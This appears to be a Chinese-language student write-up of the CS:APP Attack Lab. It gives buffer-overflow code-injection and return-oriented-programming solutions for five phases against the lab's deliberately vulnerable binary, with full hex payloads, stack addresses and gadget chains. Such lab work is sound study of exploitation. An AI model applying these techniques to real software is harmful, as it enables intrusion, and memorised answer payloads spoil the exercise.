目录
用到的指令
名字 | 用途 |
---|---|
./hew2raw <1.txt> p1.txt | 将攻击字符串转化为可读取格式 |
gcc -c 1.s | 编译生成1.o文件 |
objdump -d 1.o(or ctarget)>1.txt | 反汇编输出含机器码的语句 |
./ctarget -qi 1.txt | 运行1.txt里的内容 |
touch 1.txt | 创建1.txt文件 |
gdb ctarget | 编译文件 |
break *0x409823 | 在该地址处设置断点 |
第一部分:Code Injection Attacks
简介:
程序被设置成栈的位置每次执行都一样,因此栈上的数据就可以等效于可执行代码,使得程序更容易遭受包含可执行代码字节编码的攻击字符串的攻击。
getbuf内容:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
漏洞造成:gets读取函数对字符串没有长度限制,当callq时,返回地址在读取信息位置的高字节处,如果读取字符串过长,就会覆盖返回地址,使其无法返回getbuf。
了解栈的信息:
栈的字节大小为
0x28
。
本阶段栈的地址又是多少呢?根据汇编代码容易得出,地址存放在
%rsp
中。于是设置断点,查看该寄存器。
栈指针地址是
0x5561dc78
。
栈的图像如图所示:
phase 1
要求:
getbuf
返回时执行
touch1
。
思路:如上图,
getbuf
函数执行
ret
指令后,就会从
rsp+0x28
处获取返回地址,因此只需要修改地址使其为
touch1
的地址即可。(touch1地址在反汇编文件中查看)
答案:(小端排列,提交时用
hex2raw
函数转换)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
(注:答案的地址顺序是从低地址到高地址(栈顶),初始地址为rsp所指向地址。而读取顺序则是按正常阅读顺序)
phase 2
要求:
getbuf
返回时执行
touch2
,
touch2
的参数是
cookie
(查看文件,得值为
0x59b997fa
)。
思路:参数是由
%rdi
传递的,故应该将
%rdi
赋值为
cookie
,再将ret返回地址覆盖为
touch2
地址(
0x4017ec
)。
需要的语句:
movq $0x59b997fa,%rdi
pushq $0x4017ec//将返回地址压入栈(模拟callq过程)
ret//读取返回地址并返回
利用命令转化为机器码:
可以得到所需机器码如右侧。
答案:
//命令编码
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
//rsp地址(即跳到输入首行而不是返回getbuf)
phase 3
要求:执行完
getbuf
后执行
touch3
,而
touch3
的参数是一个地址,地址的内容是
cookie
。
思路:首先先将之前获取的
cookie
转化为16进制字符。
0x59b997fa
转化为35 39 62 39 39 37 66 61 。
接着要找到一个地方存放字符串
cookie
,是否能将其直接放在栈的内部呢?查看
touch3
内容:
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp
...
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
...
由上面这部分指令可知,在调用
touch3
时,栈会继续向下增长从而覆盖
touch3
地址以下的内容,所以要将目标字符串放在
touch3
的高字节部分。
于是考虑将字符串放在返回地址(栈外)的高字节位置。经过计算得到地址为
0x5561dca8
,汇编代码为:
答案:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 #首行地址
35 39 62 39 39 37 66 61 #字符串内容
00 00 00 00
第二部分:Return-Oriented Programming Attacks
简介:
采用以下两种技术对抗攻击:
-
随机化,
每次运行栈的位置都不同
,所以无法决定注入代码应放位置。 -
将
保存栈的内存区域设置为不可执行
,所以即使能够把注入的代码的起始地址放入程序计数器中,程序也会报段错误失败。
方法:
通过现有程序中的代码而不是注入新的代码来实现攻击。
0xc3
是
ret
指令的编码
In this figure, the stack contains a sequence of gadget addresses. Each gadget consists of a series of instruction bytes, with the final one being 0xc3. When the program executes a ret instruction starting with this configuration, it will initiate a chain of gadget executions, with the ret instruction at the end of each gadget causing the program to jump to the beginning of the next.
命令编码:
根据需要的机器码查找相应gadget的地址。
phase 4
要求:用ROP方法重做phase 2。
思路:回顾2的汇编代码:
movq $0x59b997fa,%rdi
pushq $0x4017ec//将返回地址压入栈(模拟callq过程)
ret//读取返回地址并返回
下面是寻找gadget过程:(farm中寻找)
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
58 90 c3
代表了:
popq %rax #0x4019ab
nop
ret
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
48 89 c7
代表:
movq %rax,%rdi #0x4019a2
答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 #popq %rax
fa 97 b9 59 00 00 00 00 #popq content
a2 19 40 00 00 00 00 00 #movq %rax,%rdi
ec 17 40 00 00 00 00 00 #touch2
phase 5
要求:用ROP完成phase 3。
思路:由于不能直接获取栈的地址,所以考虑利用相对位置关系放置字串。
寻找gadget:
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
字段:
0x401a06 48 89 e0 #movq %rsp,%rax
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
字段:
0x4019c5 48 89 c7 #movq %rax,%rdi
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
字段:
0x4019ab 58 #popq %rax
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq
字段:
0x4019dd 89 c2 #movl %eax,%edx
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 retq
字段:
0x401a34 89 d1 #movl %edx,%rcx
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq
字段:
0x401a13 89 ce #movl %ecx,%esi
答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #rsp
06 1a 40 00 00 00 00 00 #movq %rsp,%rax
c5 19 40 00 00 00 00 00 #movq %rax,%rdi
ab 19 40 00 00 00 00 00 #popq %rax
48 00 00 00 00 00 00 00 #偏移量:从rsp到字符串的位置
dd 19 40 00 00 00 00 00 #movl %eax,%edx
34 1a 40 00 00 00 00 00 #movl %edx,%ecx
13 1a 40 00 00 00 00 00 #movl %ecx,%rsi
d6 19 40 00 00 00 00 00 #lea (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00 #movq %rax,%rdi
fa 18 40 00 00 00 00 00 #touch3
35 39 62 39 39 37 66 61